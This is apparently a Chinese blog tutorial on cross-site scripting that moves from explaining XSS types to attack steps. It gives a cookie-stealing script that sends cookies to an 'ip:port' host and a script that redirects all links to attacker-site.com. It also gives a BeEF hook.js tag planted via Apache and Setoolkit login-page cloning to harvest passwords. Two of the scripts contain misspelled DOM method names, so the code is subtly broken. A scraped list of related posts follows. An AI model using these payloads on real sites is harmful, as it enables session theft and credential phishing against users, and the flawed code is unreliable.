将跨站脚本攻击缩写为XSS,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面的时候,嵌入其中的Web里面的Script代码就会被执行,从而达到恶意攻击用户的目的。

反射型XSS

反射型Xss是非持久的,只具有一次性:攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞.

PHP:
<?php echo $_GET['uname'];?>

当用户访问url/?uname=<script>alert(document.cookie)</script>,触发代码,弹出会话框

存储型XSS

存储型Xss是持久性的,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。攻击者在论坛,博客,留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中,当用户正常访问时,触发XSS代码

DOM型XSS

使用DOM动态访问更新文档内容、结构或样式。

HTML标签都是节点,节点组成了节点树。通过HTML DOM 可以对树上的所有节点进行修改。

服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应,DOM对象就会处理XSS代码,触发XSS漏洞。

Cookie:

Cookie是依据HTTP协议,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie是由Web服务器保存在用户浏览器(客户端上的)一个小文本,它可以包含有关用户的信息。

临时Cookie:只在浏览器上保存一段规定的时间,一旦超过规定的时间,该Cookie就会被系统清除。

服务器可以利用Cookies包含信息的任意性来筛选并经常维护这些信息,以判断在HTTP传输中的状态。

Cookies最典型的应用是判定注册用户是否已经登陆过网站,保留用户信息可以简化下一次登陆网站。此外购物车,用户可能在一段时间内同一家网站的不同页面选择不同的商品,这些信息都会被写入Cookies,以便在最后付款时提取信息。

发射XSS盗取Cookie,

存在反射型XSS漏洞的站点位置,可以利用以下链接来盗取Cookie

<script> var img=document.createElment("img"); img.src="http://ip:port/a?"+escape(document.cookie); </script>

进入后台寻找上传点,进一步利用漏洞给上传一句话Webshell(中国菜刀)。

XSS篡改网页链接

window.onload当窗口加载时,执行匿名函数:

使用for循环遍历所有获得的链接a标签

<script> window.onload=function(){/*匿名函数*/ var link=document.getElmentsByTagName("a"); for(j=0;j<link.length;j++) { link[j].href="http://attacker-site.com/"; } } </script>

思考:XSS漏洞的本质是网页提供给了用户可交互代码接口,继而用户可以通过这个接口实现对网页的破坏。

通过XSS可以篡改流量URL

篡改链接执行恶意URL

Beef进行恶意链接生成,以及利用hook.js执行其他命令

Beef的用户名和密码都是Beef

恶意攻击代码:

<script src="http://192.168.253.28:3000/hook.js"></script>

操作流程:

kali环境下运行beef:
beef-xss //开启beef
/*获取到hook:<script src="http://<IP>:3000.hook.js"></script>*/
service apache2 start //开启阿帕奇服务
cd /var/www/html //var:可变动文件夹系统运行后逐渐占用硬盘容量的目录
vi index.html
将恶意攻击代码放入里面

XSS盗取用户信息

原理:首先要克隆网站的登陆页面,利用存储型XSS设置跳转代码,如果用户访问即跳转到克隆网址的登陆页面,用户输入登陆,账户和密码被存储。

当用户访问的网站具有XSS漏洞的时候,我们可以利用存储型XSS对网页进行篡改,当用户访问页面时就会进入到克隆站点的登陆界面。

Setookit工具克隆网站

首先控制台输入
setookit
进入操作后
选择1
选择2
选择3
选择2 站点克隆
使用对应网卡的IP地址直接回车,对我们需要克隆的URL进行输入
完成克隆后本地网页index.html即为监听网页,同时控制台会对其进行监听

XSS跨站脚本攻击(1)的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  3. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  4. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  5. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  6. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

  7. PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)

    废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...

  8. 初窥XSS跨站脚本攻击

    XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经 ...

  9. web应用程序安全攻防---sql注入和xss跨站脚本攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...

  10. spring-boot-plus XSS跨站脚本攻击处理

    XSS跨站脚本攻击处理 XSS:Cross Site Scripting 跨站脚本攻击(XSS),是目前最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当 ...

随机推荐

  1. JMeter多个请求按照比例并发的几种方式

    一.需求 在压测的过程中,为了能够压测整个链路,通常需要多个接口进行并发, 每个接口的请求比例不尽相同. 比如此时此刻,我在写博客,很多人在浏览博客,或者点赞.评论博客等等等,这些行为占比是不同的. ...

  2. Flink-v1.12官方网站翻译-P008-Streaming Analytics

    流式分析 事件时间和水印 介绍 Flink明确支持三种不同的时间概念. 事件时间:事件发生的时间,由产生(或存储)该事件的设备记录的时间 摄取时间:Flink在摄取事件时记录的时间戳. 处理时间:您的 ...

  3. SpringMVC数据校验并通过国际化显示错误信息

    目录 SpringMVC数据校验并通过国际化显示错误信息 SpringMVC数据校验 在页面中显示错误信息 通过国际化显示错误信息 SpringMVC数据校验并通过国际化显示错误信息 SpringMV ...

  4. Codeforces Global Round 9 E. Inversion SwapSort

    题目链接:https://codeforces.com/contest/1375/problem/E 题意 给出一个大小为 $n$ 的数组 $a$,对数组中的所有逆序对进行排序,要求按照排序后的顺序交 ...

  5. Educational Codeforces Round 69 (Rated for Div. 2) C. Array Splitting (思维)

    题意:给你一个长度为\(n\)的升序序列,将这个序列分成\(k\)段,每一段的值为最大值和最小值的差,求\(k\)段值的最小和. 题解:其实每一段的最大值和最小值的差,其实就是这段元素的差分和,因为是 ...

  6. Codeforces Round #666 (Div. 2) C. Multiples of Length (构造,贪心)

    题意:有一个长度为\(n\)的序列,可以操作\(3\)次,每次选取一段区间,然后区间的元素加减区间长度的倍数,\(3\)次操作后使得序列所有元素为\(0\),问具体操作情况. 题解:假如我们能选择一整 ...

  7. 通过k8s部署dubbo微服务并接入ELK架构

    需要这样一套日志收集.分析的系统: 收集 -- 能够采集多种来源的日志数据 (流式日志收集器) 传输 -- 能够稳定的把日志数据传输到中央系统 (消息队列) 存储 -- 可以将日志以结构化数据的形式存 ...

  8. C++ new delete malloc free

    title: C++ new delete malloc free date: 2020-03-10 categories: c++ tags: 语法 C++的new delete malloc fr ...

  9. c# 类(2)

    构造函数 和 析构函数 Constructors and destructors 构造函数是一个特殊的函数,当实例化一个类的时候自动调用这个函数,无返回值(不用定义返回类型)普通函数的定义 publi ...

  10. Java中Class.forName()用法和newInstance()方法详解

    1.Class.forName()主要功能 Class.forName(xxx.xx.xx)返回的是一个类, Class.forName(xxx.xx.xx)的作用是要求JVM查找并加载指定的类,也就 ...